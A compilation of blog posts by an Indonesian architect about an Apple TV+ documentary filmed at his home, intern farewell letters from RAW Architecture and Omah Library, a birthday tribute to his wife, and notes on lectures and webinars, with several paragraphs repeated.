Yesterday we watched a Guha movie on apple Tv, which was filmed by A24 the Apple TV team and edited and worked in a way I never expected. The film is directed by Sami Khan, and produced by dream team : Collin Urcutt, Nick Stern, Courtney Crock, Joe Yaggi, Patrick, Charlie Balsch, Maya Lubis, Lisa Sanusi, David Hutama, Laurensia, Miraclerich, Heaverrich, craftsmen Guha’s team, RAW Architecture studio, Omah and all of the big team in this movie.
We cried every seeing the lost our missing daughter and laughed every seeing Laurensia, Miraclerich and Heavenrich. We never expected the result to touch our heart, it’s gift to Guha.
.
Even they composed special music for the show. I discussed with Cali, to know their creativity to interpret Guha in their own way. “Thank you Realrich! initially we did some extensive research on traditional Indonesian instruments like Gamelan and Angklung and was trying to do a modern twist with them; throughout the creative process we developed quite a lot more than that, mainly drawing inspirations from your concept as an architect actually! The exciting and adventurous spirit to access every doors, blending Western Europe technology but make it work in our situation…; there was one part where you mentioned the process of bending the metal over and over again to make circle shapes (hope I remembered correctly), we found layering the music one by one, over and over (just like the process) works really well with the scene! It grew to be quite philosophical rather than just painting the right colors, if that make sense! And we had a lot of help and guidance from Collin and the team 😊 I hate to explain music too much hahah so really hope you and your family enjoy the music when the episode airs!” This humbled us with such beautiful process comes beautiful piece of music titled “Bamboo Fantasia”.
As an architects, we tried to control, experiment with, and try to fit into balance things. But this movie worked beyond the control as I can’t control of some of the aspect in my life with Laurensia. As a subject, we was prone to be able to open the question in my mind such as how can they touch my heart when we saw this movie? They made us cry and sad in one of the scenes and made me laugh and hold Laurensia’s hand, looking at her happy eyes. This movie is magical and touching with a simple script, but the technical and preparation aspects are not easy.
. Collin and Nick spent much time discussing and talking about Guha and our family activities. Then, Sami joined as director, and then I felt the questions go more profound than before. Suddenly It touched our weakness which is Losing our daughter. That situation made me shut down my emotion over the years. I never expected that spot hits me hard, and it isn’t easy to talk about it. We cried in the session, we learned that opening myself helps to heal myself. . In the next session in the zoom meeting, they met with Laurensia. They needed to meet Laurensia because Laurensia was paranoid about the pandemic, and it was not easy to get Laurensia’s approval. She once said, “honey, this guy is going to make good on you. They have prepared to discuss and make things proper.” . She thought that it was only me who would be in the movie, but soon as she understood that her, Miracle, and Heaven were needed on the set, she changed to be a different person that is more open. This moment is a process of us opening ourselves to the fear of pandemic and the fear of us fanning ourselves. One zoom meeting sometimes takes 1-3 hours, and several times were meeting. Then, the day finally came when the Apple TV + team came to Indonesia. Sami, Courtney, and Collin led the team in collaboration with Joe, Patrick, and the team. What interests me is the perfection involved; they need to take the shots several times over and over at a different angle. The heavy tools consist of cranes, drones, lenses, and big cameras. Sami told me that the devices used to take Verite, which means the art or technique of filming something (such as a motion picture) to convey candid realism, and it’s a beautiful shot tested from several angles. Working on something over and over is like craftmanship. It takes enormous energy for one scene to take, but they did hundreds of images in weeks. One time I heard Patrick say,
Collin and Nick spent much time discussing and talking about Guha and our family activities. Then, Sami joined as director, and then I felt the questions go more profound than before. Suddenly It touched my weakness which is Losing our daughter. That situation made me shut down my emotion over the years. I never expected that spot hits me hard, and it isn’t easy to talk about it. I remember I cried in the session. I learned that opening myself helps to heal myself.
“Sami, I can’t take it anymore!” I saw Sami, Collin, and Courtney. They focus on the story, logistics, and details because their time to take shots is limited. The camera is heavy for sure.
The next interesting one is spontaneity, they encourage us, me Laurensia, and all of the people on set to be spontaneous like doing our daily activities. Being spontaneous is about showing the back and front stage as it is. It’s an open-up process. There was one line I liked when Laurensia noted that we are connected with gossip in Indonesia when we discussed the city that is so detached.
Spontaneity contested us, to be honest with me, and it helps us appreciate memories with my relation, especially with David Hutama, who interpreted and positioned me. Sami said one time, “Realrich have you heard David saying? Are you getting along with him usually ?” I think I have not met David for such a long time, 3-to 4 years. I remember I met and discussed with David when founding Omah Library.
Spontaneity contested us, to be honest with me, and it helps me appreciate memories with my relation, especially with David Hutama, who interpreted and positioned me. Sami said one time, “Realrich have you heard David saying? Are you getting along with him usually ?” I think I have not met David for such a long time, 3-to 4 years. I remember I met and discussed with David when founding Omah Library.
. The session of Courtney directing Miracle is memorable, and It’s a Miracle’s favorite. Courtney helps to control Miracle without him even realizing he is on set. He always asked if he would meet aunty Courtney because he explored new things. It’s the same with Laurensia And Heaven, some images were sent to me by a team together as memories, and I genuinely love them because of their smile. I think about them all Of the time. Family is my priority. . During the interview, I saw Collin keep writing. One time, Sami asked questions, and Collin reviewed the answer and twisted it to another question for me to answer more clearly. He scrutinized all of the script, dubbing, and technical aspects over and over. They never told me that some of them were the producer, the director, and the scriptwriter. They just worked like a team that had been working for ages. Once, Collin said, “at the end of this release, we are going to be family,” which summarizes my proposition about ideas for answering the questions they prepared. So the situation, ecosystem in the making helps to inspire on site. . Then, the day after we went to Alfa Omega school, I felt connected with my childhood when I heard that Lisa spoke, always bringing a vision to help young people. She wanted to get independence from the education system. For young ones, I learned to be as simple as I could. Being honest is an act of humanity. That school is a reminder of how architecture can touch humanity, and we as an architect still have many things to learn.
Then, the day after we went to Alfa Omega school, I felt connected with my childhood when I heard that Lisa spoke, always bringing a vision to help young people. She wanted to get independence from the education system. For young ones, I learned to be as simple as I could. Being honest is an act of humanity. That school is a reminder of how architecture can touch humanity, and we as an architect still have many things to learn.
. The Apple team traveled quite much, and I saw them quite exhausted. I asked Pak Joe whether this is normal For production to have a very intense camera. He said that it is only beginning. After this, there will be times for editing, and it will take months to finish. Editing takes time. I remember when collin wrote something, my mind came when I wrote the manuscript of architecture as an escape from my daily routines. Literacy for them is crucial to get the sequence in the movie. It’s like an architecture experience based on script: program, material, wisdom. . Ultimately, it takes the second trip with bu Maya and Charlie to add more verite video and make the shots even more beautiful. This process made me realize that we need to open myself up in this life. Wherever we are currently struggling, the energy around architects has its S curve, which means there is a steep learning phase associated with short time and intensive training, and then enjoying the learning outcomes until the graph decreases again. The key for a person to continue growing is getting the next S curve from a declining chart. It’s a process to incline up likewise from one angle to another to bring continuous improvement—this improvement leaps the system from the life around architects. In reflecting on that S curve break, there is a moment of celebration of the closeness, personal, and network that makeup life.
This Film made by the production, director and all of the amazing team featured in Apple Tv shows multiple S curves in a short time, and on every upside of the curve, there will be a scene of Miracle smiling and running. That opens up self to treat architecture and its people like a family through tears in heaven. A hope to bring miracles and heaven to others through architecture. Big Thank you to all of you below, you meant so much to my heart and Laurensia as family. Look at the big team below !
Traces of Miracle’s foot
Credit
Executive Producer : Matthew Weaver Kim Rozenfeld Ian Orefice Alyse Walsh Collin Urcutt Ben Cotner Emily Q.Osborne Sarba Das,
Co-Executivue Produce : Nick Stern
Series Line Producer : Aude Temel
Director : Sami Khan
Directors of Photography : Patrick Lavaud Denny Chrisna Charlie Balch
Editors Erin Nordstorm Aaron Vandenbroucke Mari Keiko Gonzalez Derek Kicker
Producer Nick Stern
Field Producer Courtney Crockett
Post Producer Mark Newton
Production Manager Courtney Crockett
Production Coordinators Anna Keegan Lindsey Steer
Post Production Manager Audrey Schuberg
Clearance Manager Mary Sheibani
Associate Producer Tanner Jarman
Clearance Coordinator Sam Cirilio
Local Production Consultant Joe Yaggi
Associate Producers Aldrian Maya Lubis
Production Coordinator Bintarti “Bince” Aquarti
Production Assistants Yudi Gunawan Hardianto Dodi Irawan Cici Sucik Sri Rahayu
1st Assistanst Camera Nasir “Acing” Libria Hardi Tezar Samara Lucky Agus Setiawan
Steadicam Operator Dedi Buaksono
Stadicam Assist Samsul Arifin
Jib Operator Sukirmo
Asistant Jib Operator Chepy Jaya Kelana
Media Managers Rizko Heru Angga Muhamad Wahyu
Sound Mixers Ikabl Wahyudin Sri Wahyuni Retnowati
Gaffers Nelson Erikiswanto Arif Bina Yuana Pribadi
Grips Asrul Alamsyah Yudo Inarno
Drone Operator Ody Putera
Covid Compliance Officers Dr. Theresia Simbolon Dr. Patricia Stephanie Robin Limbong
Camera Guard Hadi Prayitno Siswanto Jhon Ekoidu Simbolon
Memiliki kesempatan untuk bekerja praktik di OMAH LIBRARY merupakan pengalaman yang sangat berharga, walau memang saya pun belum tahu pasti dan tidak dapat membandingkan dengan tempat-tempat lainnya, tetapi apa yang telah saya rasakan, keuntungan dan kelebihan yang didapat, hingga dapat menyadarkan saya atas kelemahan yang saya miliki lebih dari cukup untuk mengatakan ini adalah pengalaman berharga. Atmosfer kekeluargaan yang kuat, keceriaan, aura positif memberikan sebuah rumah yang harmonis. Membuat saya teringat sebuah perusahaan yang hampir bangkrut, alih alih merumahkan pekerjanya, malah membuat sistem cuti untuk dapat mempertahankan pekerjanya. Mengandalkan kekeluargaan dan saling toleran tidak disangka keuntungan yang didapat melampaui perkiraan bahkan lebih dari jika merumahkan pekerja. Mungkin sedikit lancang jika dalam 4 bulan menyimpulkan hal ini tapi saya hanya tidak bisa berhenti kagum dengan pengalaman di OMAH LIBRARY ini. Awal saya masuk sudah mendapat sambutan hangat, saya ingat tugas pertama saya manuskrip wawancara arsitek untuk buku arsitektur partisipatoris untuk mahasiswa. Belajar mengenal arsitektur dari sudut pandang seorang arsitek profesional membuat tamparan atas saya yang merasa beban sks studio yang besar sedang tidak ada apa-apanya dengan kenyataan yang terjadi di lapangan. Menyadarkan saya betapa banyak yang harus dikejar untuk menjadi seorang arsitek. Namun tidak hanya tamparan, cerita itu juga sebagai kawan, karena apa yang saya rasakan itu adalah masa yang telah beliau-beliau lalui dan menenangkan karena ini memang hal yang wajar dirasakan mahasiswa arsitektur. Ini adalah salah satu pengalaman yang sangat berharga, seperti mendapat bocoran dari cenayang secara cuma-cuma. Selanjutnya adalah tugas-tugas yang membutuhkan ide liar. Menemukan poin, mengembangkannya, membungkusnya dalam wajah yang berbeda tetapi tidak kehilangan poin itu. Substansi, substansi, substansi. Pengalaman ini bagaikan perlombaan lari tanpa kaki bagi saya. Dipaksa menyerah dengan keadaan. Tapi tidak lama para pelari lainnya dan berbalik menopang saya dan kita berlari bersama menuju garis finish. Ya, pelari yang berbalik tidak lain adalah kakak-kakak mentor serta teman-teman seperjuangan. Walaupun sebenarnya mereka juga berada dalam kesulitan dan tekanan yang lebih besar. Pengalaman akhir di OMAH LIBRARY, menata perpustakaan baru, mengatur buku-buku yang banyak dan mengurutkannya satu persatu. Pengalaman yang sangat lucu dan sangat berbeda karena ini satu-satunya pekerjaan yang terlepas dari duduk dan mencari inspirasi. Komunikasi dan koordinasi sangat penting, terutama kepercayaan pada rekan satu tim. Saya ucapkan terima kasih sebesar-besarnya atas pengalaman yang diberikan baik yang tertulis maupun tidak, semuanya tetap menjadi pelajaran, bekal masa depan saya. Digembleng untuk tidak melek walang, membuka indera yang sudah lama tertidur.
24-05-2022
Dear Aulia, Maria
Thank you for everything your passion, your soul, and have cherished OMAH Library + people inside, hopefully, this sunshine will go brighter to shine on Architecture Literacy.
You guys one word is a fight for and be the one who can contribute to the appreciation of great Indonesia Architecture.
Mat pagi kak!””, ucapan wajib saya, Maria, memasuki Perpus Omah menyapa umi-umi Omah Library. Akhir semester 7, saya sempat bingung ingin mengajukan magang, selain karena saya mengulang Studio 6, saya juga meragukan apakah saya mencintai arsitektur, dan apakah saya bisa mengerjakannya. Beruntung dosen pembimbing mengizinkan saya untuk magang dibidang penulisan arsitektur.
Selanjutnya adalah . . . cari tempat magang di mana? Waktu semakin mepet, saya baru mengirim surat lamaran magang terakhir tanggal 30 Desember 2021, dan sepertinya sudah tidak ada harapan untuk mendapat tempat magang. 2 Januari 2022 malam Kak Yudith menghubungi saya dan menawarkan apakah bisa mulai magang di Omah besok. Ini kesempatan yang jelas tidak saya tolak.
Lalu, muncul lagi pertanyaan, apakah bekerja di perpus akan sekaku itu? Satu bulan awal magang, saya masih menyesuikan diri saya dengan pekerjaan magang dan menyesuaikan dengan lingkungan Guha. Ternyata seru juga, selain ngetik-ngetik, ada pekerjaan lain seperti sketsa atau buat ilustrasi dan jalan-jalan (ke Otten Coffee dan Piyandeling Bandung). Melihat detail bambunya Piyandeling yang disusun satu-satu keren banget, para bapak pengrajinnya niat sekali mengerjakannya, berasa dikerjakan dengan hati.
Setelah 4 bulan magang, banyak pembelajaran dari Kak Rich dan kakak-kakak Omah mengenai penulisan, ilustrasi, serta berbagi pengalaman arsitektur dan kehidupan melalui wawancara. Sisi lain yang tidak hanya sekedar pekerjaan, tapi bagaimana kita bisa berkontribusi untuk orang banyak.
Sebagai penutup, saya ingin mengucapkan terima kasih kepada -Kak Rich dan Kak Yudith yang telah menerima maria magang di Omah Library, -Kak Nirma, Kak Ufi, Kak Luluk, dan Kak Farhan yang sudah menjadi mentor dan membimbing maria untuk mengembangan potensi yang ada, *maaf juga maria sering main jadi kadang kurang fokus :)) -Kakak-kakak di RAW dan Admin yang sering becanda saat jam makan, terima kasih sudah menerima maria dengan baik -dan teman-teman magang pejuang TA: Aulia, Aryo, Gaby, Angel, dan Evan, suatu kolaborasi yag keren antara penulisan dan desain di studio arsitektur.
Tetaplah bahagia, :) Salam, M.A.R “
24-05-2022
Dear Aulia, Maria
Thank you for everything your passion, your soul, and have cherished OMAH Library + people inside, hopefully, this sunshine will go brighter to shine on Architecture Literacy.
You guys one word is a fight for and be the one who can contribute to the appreciation of great Indonesia Architecture.
Today my wife is having her birthday. Birthday is a big L(love) day of rebirth and reflection on our lives. A soulmate fulfills a purpose in life with kindness, compassion, and love. Thirty-two years ago, when I moved to Jakarta with my family when I was ten years old, we sat at the same benches in the elementary classroom. We have been a usual friend to the best friends since that time. Best friends are never apart, maybe in the distance but never by heart.”
We have been a usual friend to the best friends since that time. Best friends are never apart, maybe in the distance but never by heart.”
I said “I love you” for the first time 14 years ago, and I found my soulmate. When Laurensia agreed to pre-wed in our home, garage office, and neighborhood to stay modest, we learned that this experience brings creativity beyond our limitations. Giving calm and humble life brings more happiness than success with restlessness. . Every day, She arranged our family daily life in our family life the pattern so I could have a proper purpose, rest appropriately, and have an excellent work phase. She is the fundamental principle of my life. She can smell when we need to limit our lives, stay safe, and be secured even in Covid. . She is the angel, a blessing from God to our family. She is the mother of two cute sons, Miracle and Heaven. They can’t be far from her, and me as well. She hears and speaks softly and touches my heart gently behind all imperfections. Thank you for your love, dear Laurensia. Thank you, God, Who has given us magnificent love, Love You to the Moon, Earth, Pluto, and Nebula.
I said “I love you” for the first time 14 years ago, and I found my soulmate. When Laurensia agreed to pre-wed in our home, garage office, and neighborhood to stay modest, we learned that this experience brings creativity beyond our limitations. Giving calm and humble life brings more happiness than success with restlessness… Thank you for your love, dear Laurensia. Thank you, God, Who has given us magnificent love, Love You to the Moon, Earth, Pluto, and Nebula.
“I’m very interested and excited to learn about building-user-environmental relationship issues, and I’m aware that this firm is dedicated in the locality on defining architecture in harmony.”
.
Dear Mr. Realrich Sjarief,
Following four years of college at Diponegoro University’s Architecture Department, two months of internship at RAW Architecture in 2020, and participation in numerous architectural competitions and activities, it is clear to me that architecture is not only about building, but also about the social life that surrounds it, which can provide reciprocal relationships. This thought inspired me to
apply for the position of associate architect at RAW Architecture, which is well-known for his locality- based design approach.
When you gave a public lecture at my college in 2018, I was a newcomer to architecture and your words inspired me. You emphasized that using local materials in buildings can provide a much stronger positive relationship with its surrounding environment, which includes social life. Then, in college, I learned about the impact of design failure on social life. For example, the Pruitt Igoe complex in St. Louis, Missouri. There is a mismatch between initial expectations and the reality of its social life impact. The building was then demolished, leaving behind so many of the social issues. This problem was very intriguing and exciting to me, and it challenges me to improve my ability to solve similar problems in the future.
I am convinced that there is no better place for me to pursue my architectural ambitions than RAW Architecture. I consider it a vibrant experience to have the opportunity to learn more from one of Indonesia’s best architecture firms that focuses on locality to define architecture. In “Wastu Citra”, Y.B. Mangunwijaya explained that the locality makes human values so meaningful as users of architectural works. Contextually, locality will increase harmony between buildings, users, and the surrounding environment. As a result, the excellent atmosphere will improve, as will the quality of social life in the surrounding area. So I believe that working at RAW Architecture will provide me with more insight, bringing me one step closer to my goal of becoming an architect who can help my surroundings live better lives through my work.
A month ago, my team and I were on the judging panel for a competition, where we were a top five finalist with our conceptual design for a Transit Hub in Surabaya. One of our design concepts is to spread the intervention regionally, allowing for more social activity to thrive with it. Our jurors, Mr. Andra Matin and Mr. Achmad Noerzaman, told us proudly that we’d created something special. They stated that as architects, we must base our designs on contextual harmony so that they can provide social value in community culture over time. With this experience, as well as my practice as an intern here,
I am confident that I will be able to contribute to RAW Architecture’s growth as a restless spirit.
RAW Architecture adalah salah satu biro arsitek yang hasil karyanya menjadi teladan saya untuk memahami keindahan arsitektur. Oleh karena itu, ingin rasanya bisa ikut dan masuk ke dalam bagian tim mengerjakan, mempelajari sebuah design
Affiliation Master : Institut Teknologi Bandung, Bachelor : Universitas Diponegoro
Motivation
I want to work in a research-based architectural firm, with lots of experiments on their projects. I feel that RAW is very powerful in doing experiments on its projects. I am also intrigue and curious about the design and craftmanship approach that is done in RAW. I hope I can learn a lot and get to know new mindset in RAW.
saya Sofiana Estiningtyas. Saya berposisi sebagai internship di RAW dengan periode waktu 3 bulan. Saya berasal dari Yogyakarta dan merupakan alumni UII angkatan 17. Pada kolom ini saya akan memulai kalimat pembuka saya dengan puji dan syukur yang saya panjatkan tiada habisnya karena telah diberi kesempatan untuk bertumbuh dan berkembang di RAW bersama orang-orang yang luar biasa di dalamnya. RAW membentuk saya menjadi pribadi yang lebih terbuka dengan berbagai perbedaan, cara berpikir, argumentasi design, menchallange saya untuk belajar dan beradaptasi dengan hal-hal baru, dan juga penyelesaian permasalahan dengan cara-cara yang tidak biasa. Kebahagiaan saya di RAW didukung oleh lingkungan yang supportif, teman-teman yang asik dan murah hati untuk berbagi insight baru, dan juga pimpinan yang selalu membimbing kami dan apresiatif terhadap apa-apa yang kami kerjakan di kantor, yaitu Kak Realrich. Saya mengakui bahwa untuk beradaptasi di RAW merupakan hal yang cukup sulit bagi saya. Setiap pekerjaan di kantor ini dilakukan dengan serba cepat, project masuk yang begitu banyak membuat load pekerjaan yang cukup berat untuk setiap orangnya. Namun, RAW membukakan mata dan pikiran saya bahwa arsitek tidak hanya sekedar seorang arsitek. Kami diharuskan memiliki wawasan multidiscipline untuk menyelesaikan pekerjaan yang ditugaskan. Design-konstruksi, estetika-kekuatan, bentuk-fungsi, imajinasi-realitas, mulai bisa saya pahami kongruensinya ketika saya masuk ke RAW. Salah satu visi dan misi hidup yang saya pegang adalah “Kerjakanlah sesuatu, yang ketika itu bekerja itu bermanfaat dan menciptakan kebahagian saya dan orang lain.”. Di RAW, saya melihat bahwa berarsitektur merupakan salah satu cara untuk mencapai kebahagiaan-kebahagiaan itu. Kebahagiaan saya dan orang lain. Terimakasih RAW atas pembelajaran dan pengalaman bernilai yang diberikan untuk saya. Terimakasih untuk Kak Rich dan Kak Yudith yang telah memberi saya kesempatan menjadi bagian kecil dari keluarga ini. May all life’s passing seasons bring the best to you and yours ♡
.
Reflection Letter:
Part I: For RAW
Puji dan syukur saya panjatkan tiada habisnya karena telah diberi kesempatan untuk bertumbuh dan berkembang di RAW bersama orang-orang yang luar biasa di dalamnya. Bagi saya RAW adalah place to grow as person. RAW membentuk saya menjadi pribadi yang lebih terbuka dengan berbagai hal, menchallange saya untuk belajar dan beradaptasi dengan hal-hal baru, juga penyelesaian permasalahan dengan cara-cara yang tidak biasa. Kebahagiaan saya di RAW didukung oleh lingkungan yang supportif, teman-teman yang asik dan murah hati untuk berbagi insight baru, dan juga pimpinan yang selalu membimbing kami dan apresiatif terhadap apa-apa yang kami kerjakan di kantor, yaitu Kak Realrich.
Saya menyadari bahwa untuk beradaptasi di RAW merupakan sebuah tantangan yang cukup sulit untuk saya sendiri. RAW adalah tempat pertama saya untuk mengenal praktek arsitektur dengan peran arsitek yang ternyata bisa sangat begitu diverse. RAW membukakan mata dan pikiran saya bahwa arsitek tidak hanya sekedar seorang arsitek. Kami diharuskan memiliki wawasan multidiscipline untuk menyelesaikan pekerjaan yang ditugaskan. Design-konstruksi, estetika-kekuatan, bentuk-fungsi, imajinasi-realitas, mulai bisa saya pahami kongruensinya ketika saya masuk ke RAW. Salah satu visi dan misi hidup yang saya pegang adalah “Kerjakanlah sesuatu, yang ketika itu bekerja itu bermanfaat dan menciptakan kebahagian untuk sekitar.”. Di RAW, saya melihat bahwa berarsitektur merupakan salah satu cara untuk mencapai kebahagiaan-kebahagiaan itu. Keep up the cool work RAW!
Part II: The Guys
Anak-anak RAW adalah sumber kebahagiaan saya di kantor ini. Bisa dibilang dua per tiga hidup saya, lebih banyak saya lewati bersama mereka. Banyak keseruan di ruang studio bersama anak-anak, tapi tetep ga lupa untuk get things done. Bakal sangat-sangat kangen kerja dengan environment yang berisikan anak-anak RAW seperti ini. This place will forever remind in my head with all of the memories inside.
Buat Teh Adzlin, Tyo, Audy, Melisa, Kak Fina, thank you udah jadi tempat buat sharing macem-macem. Mas Alim dan Kak Mei yang jadi mentor terbaik selama aku megang project Permata Buana. Kak Pandu yang sharing banyak insight tentang arsitektur, kantor, dan segala macam info-info duniawi. Kak Timbul dan Haykal yang jadi partner nyanyi dan gitaran pas jam-jam bengong. Thank you ke Putra, Kak Rico, dan Gabby untuk konsistensinya sharing memes dan reels lucu. Untuk semua anak studio atas dan mantan anak studio atas (sekarang pindah benteng). Kak Ryan, Bang Vyan, Jannice, Evan, Angel, dan Khafyd. Untuk anak omah, Mba Ufi dan Kak Lani yang asik banget diajak ngobrolin masa depan. Dan Mba Lulu dan Aryo yang udah begitu ramah ke setiap orang. Grateful to know you guys! Many
Saat bekerja di RAW hal yang paling banyak didapatkan adalah atitude dalam mengerjakan sebuah project. Bagaimana mengerjakan project untuk membuat semua sempurna dan menghadapi permasalah design atau kontruksi dengan menyelami ke akar permasalahan. Mungkin yang perlu dikembangkan bagaimana designer dapat didelegasikan untuk memegang klien bila sudah mampu, bila belum mampu designer bisa ikut terlibat dalam meeting-meeting dengan klien agar designer dapat memahami kondisi project yang berdampak langsung dengan design maupun konstruksi. Karena isu penyampaian design ke klien dan isu personal klien mungkin kadang designer tidak memahami. Keep up RAW!!
Saya diundang ke dalam webinar yang diadakan oleh Universitas Negeri Semarang untuk membicarakan kaitan arsitektur dengan ekonomi.
Mengkritisi Kebutuhan Manusia yang Tanpa Batas dan Tanpa Visi
Manusia selalu memiliki keinginan tanpa batas, namun sayangnya SDM (Sumber Daya Manusia) dan SDA (Sumber Daya Alam) tidak tersebar secara merata, yang menyebabkan munculnya masalah kesenjangan di dalam pemenuhan kebutuhan manusia. SDM dan didalam arsitektur adalah aktornya seperti arsitek, klien, dsb.
Sedangkan SDA adalah material bangunan, mesin dsb. Arsitektur juga sangat dipengaruhi oleh krisis yang terjadi. Setelah adanya krisis, potensi pembangunan akan muncul dan bertumbuh beriringan dengan pertumbuhan SDM dan SDA yang ada. Oleh karena itu kesadaran bahwa ekonomi terkait erat dengan arsitektur menjadi penting.
Apa saja Ilmu ekonomi yang terkait arsitektur?
Di dalam arsitektur ekonomi terkait dengan brief klien dan tipologi proyek dan klien. Ada dua buah kutub tipe proyek,
yang pertama proyek yang sifatnya Eksistensial, personal, dekat klien (privat), ataupun memiliki misi khusus – Tipologi Residential, dan bangunan khusus seperti gereja, fasilitas publik, dsb.
Kutub kedua sifatnya proyek Komersial, dimana arsitektur terkait dengan cost of investment dan return of investment. Dimana, arsitektur harus mampu memperhitungkan bahwa bangunan yang di desainnya perlu untuk laku (memiliki bisnis plan) secara komersial. Dimana ada kontrol tentang biaya di dalamnya.
ETALASE 4.0 2022 Architecture, Economy and Space.
WEBINAR NASIONAL 1 Is Architecture a Part Of Economy?
Webinar nasional ini membahas terkait bagaimana Arsitektur berperan dalam perkembangan perekonomian di Era Digital, dimana arsitektur dapat mewujudkan sebuah ruang publik yang hadir sebagai tempat para individu-individu yang memiliki Latar Belakang pekerjaan atau bisnis bekerja dalam satu tempat.
🗣Moderator : *Sasurya Chandra* (Dosen di Sekolah Tinggi Teknologi Cirebon)
🗣 Pemateri : *Her Pramtama, ST. MT.IAI* (PT US&P Architects)
Andhi Priatmoko, currently He is director of Ong and Ong Indonesia, and the committee inside IAI (Indonesian Institute of Architects Jakarta Chapter) contacted me to contribute to sharing views about the next design approach after the pandemic. I summarized it into 5 cores which are vernacular, connectivity, design by research, informal economic sector, and materiality.
here is some view about the sharing inside
Forum Group Discussion (FGD): Pendekatan Desain Arsitektur yang Nyaman dan Sehat di Era Pasca Pandemi:
What’s Next After Surviving and Adapting to the New Life?”
(sebagai rangkaian kegiatan dengan webinar sebelumnya)
Masa pandemi merupakan masa sulit terutama dalam aspek kesehatan, tetapi dalam hal kenyamanan tipologi bangunan juga dipertanyakan akhir akhir ini. Lalu ruang tinggal seperti apa yang dapat mengakomodasi rasa aman dan nyaman bagi penggunanya dari sisi termal, visual, audial dan dari sisi ruang gerak yang leluasa?
Bagaimana tindak peningkatan kualitas udara yang harus dilakukan untuk ruang dalam dan lingkungan tempat tinggal?
Mari kita simak pada Forum Diskusi Grup Pendekatan Desain Arsitektur yang Nyaman dan Sehat di Era Pasca Pandemi.
I’m Angel, a fellow learner and explorer who’s also currently studying architecture in Petra Christian University Surabaya. Was born and raised in Surabaya for 21 years. In my last year as an undergraduate student, I’ve decided to do an internship program in RAW to expand my exploration, get new experiences as well as new perspectives towards architecture and life.
The 24th of November, 2021 is the day RAW offered me a chance to do the internship program which I had applied 3 months before. I still remember the feeling of waiting and how excited I got when Kak Yudith contacted and offered me the internship program. To be honest, the journey to get to that day wasn’t easy, and I guess that’s what makes that day so special. Through this letter, I would like to express my gratitude towards the RAW family, especially Kak Rich and Kak Yudith, for giving me a chance to learn, meet, and work with amazing people in RAW Studio.
These past 4 months, RAW hadn’t only become my workplace but also my home. To work in RAW, I had to leave Surabaya, the place where I grew up and live for 21 years. Surabaya was my comfort zone, but I am glad that I had decided to step out of it, even for only a few months. Within 4 months in RAW, I had learnt and gained a lot of knowledge and experiences which gave me a whole new perspective towards architecture, world, and even life. I had learnt new things that can only be obtained through the field experience. I learnt that architecture, details, construction, craftsmanship, and communication are inseparable. But, the thing I am most grateful for is that I was never alone. Going through this big change and process of knowing architecture, myself, and life, I was lucky enough to experience it with the best people in the world:)
RAW has taught me that architecture is also about being part of a community and family. I believe that to create amazing architecture, it also takes amazing teamwork and community. During my internship, every once in a while, Kak Rich brought up this question about “what is our purpose in life?”. This got me thinking, “what do I want in life?”, “where am I heading to?”, “is architecture part of my purpose in life?”. I have been trying to find the answer to these questions, until this one moment.
I remember when my mentor had to leave and continue her own journey outside RAW. Kak Rich had mentioned that she had “touched” everyone with her presence and her relationship with others. At that moment, I thought, how beautiful it is? If one is able to touch someone with their presence. That thought had made me reflect on myself. I guess for now I decided that my purpose is to be able to touch people with everything that I do, whether through my works in architecture, or even through my actions towards others.
Therefore, I am also thankful to Kak Rich, for bringing up questions that we were all afraid to ask ourselves. 4 months had passed so quickly. For all the knowledge, experience, wisdom, laughter and memories, I thank everyone. No words can’t describe how grateful I am to spend the last 4 months in this new home. Thank You Kak Rich for being such a humble person and for creating a supportive environment in RAW, Thank You everyone for welcoming me into RAW with a warm smile, I hope to see you all again!
Taylor University graduates invited me to share experience with dots in Realrich Architecture Workshop (RAW Architecture). I thought this presentation would be about not myself but the students and how they can trace their dots looking at the sharing. So I planned my presentation is about the unseen pathway and how to reconcile yourself if you face fear, failure, success, and further trauma. This presentation was the first time I tried to reconcile my experience, things that made me come back to Indonesia after working in London and studying in Sydney. My reason was my loved one, the willingness to make a family, and sacrifice by calculating the pros and cons. 1st that, obtaining an architect’s license for my with my b arch degree was not possible, I needed to extend my studies, took three different tests, and it cost five digits GBP. And it’s crossed with my ego. In the end, we discussed that Laurensia’s dentist license not be sacrificed. I can be more robust by practicing in Indonesia by winning competitions, and having a few projects run by developers and close relatives.
For me, architecture is very personal, which creates vital radiance to others as echoes, and the echoes represent other voices that might support and distract. The pathway to reconciling our own creates a more vital radiance that leads to the reality of our dream. By then, to build more vital radiance, I need to improve my resiliency by experiencing and maintaining my passion.
Ee Von tried to engage in discussions, which make deep talk in session and project the reality in our relationship with the client, not by saying yes or no, but by asking more profound questions that make me appreciate the options and ask the relevancy of the questions. In our journey in 2014, as a family, we got helped by Dhisti and Mirza as clients. They introduced some of the diagnoses and anticipation for my wife. By having that, Miracle was born 1.5 years after, and Heaven was born in 2020.
Life is unimaginable and an unexplored forest when I look back 20 years ago. Like many students will experience, but if I imagine now, I think everyone has their orbit and their rotation to get their purpose, contributing to others. My family is getting bigger, from Laurensia to Miracle, to Heaven, reconcile with my father, mother, brother and sisters, designers, librarians, colleagues, students, and clients. I am fulfilled and grateful for all of the blessings.
I was invited by Altrerosje Asri to share some how to practice philosophy in architecture. There are several questions that we can discuss in the class such as : What is the current crisis in architecture students and academia, and practitioners ? What is the problem ? Is there any correlation to understanding philosophy ?
I tried to digest this over and over in my practice, there are several possibilities in this hybrid world, digital which is in hyper speed and our offline world which is slow pace like our heart beat. Maybe the question of what your purpose is , become quite fundamental to reorient ourselves in both world.
The session includes the discussion with students in the middle of presentation. My presentation is quite fortunate to be able to see the lecturers : Altre, Joyce, and Wira stood back and let the students explored their purposes. I felt that everybody was rough, including my self, and we are finding ourselves sharpen our thought, words, and feeling to be better person.
After the session I felt that this kind of sharing and discussion including presentation is more fulfilling as it provides not only one way or top – down, but allowing guidance and unpredictable sequence for the students to tell their own story.
At the end, what’s the meaning of our life ?
For myself, it’s the contribution for our memories, not sentimental, but building a deeper conversations that brings memories.
.
My tears drop and I felt touch of heaven.
.
Info from the event :
Kuliah Umum: “practicing design philosophy” Realrich Sjarief, S.T., MUDD, IAI Studio Merancang 6 & Teori Arsitektur Universitas Petra Thursday, March 10 · 9:00 – 11:00am
Seri Seminar THEORETICAL HYBRID Kelas Teori Arsitektur Lanjut Program Studi Arsitektur Universitas Pelita Harapan
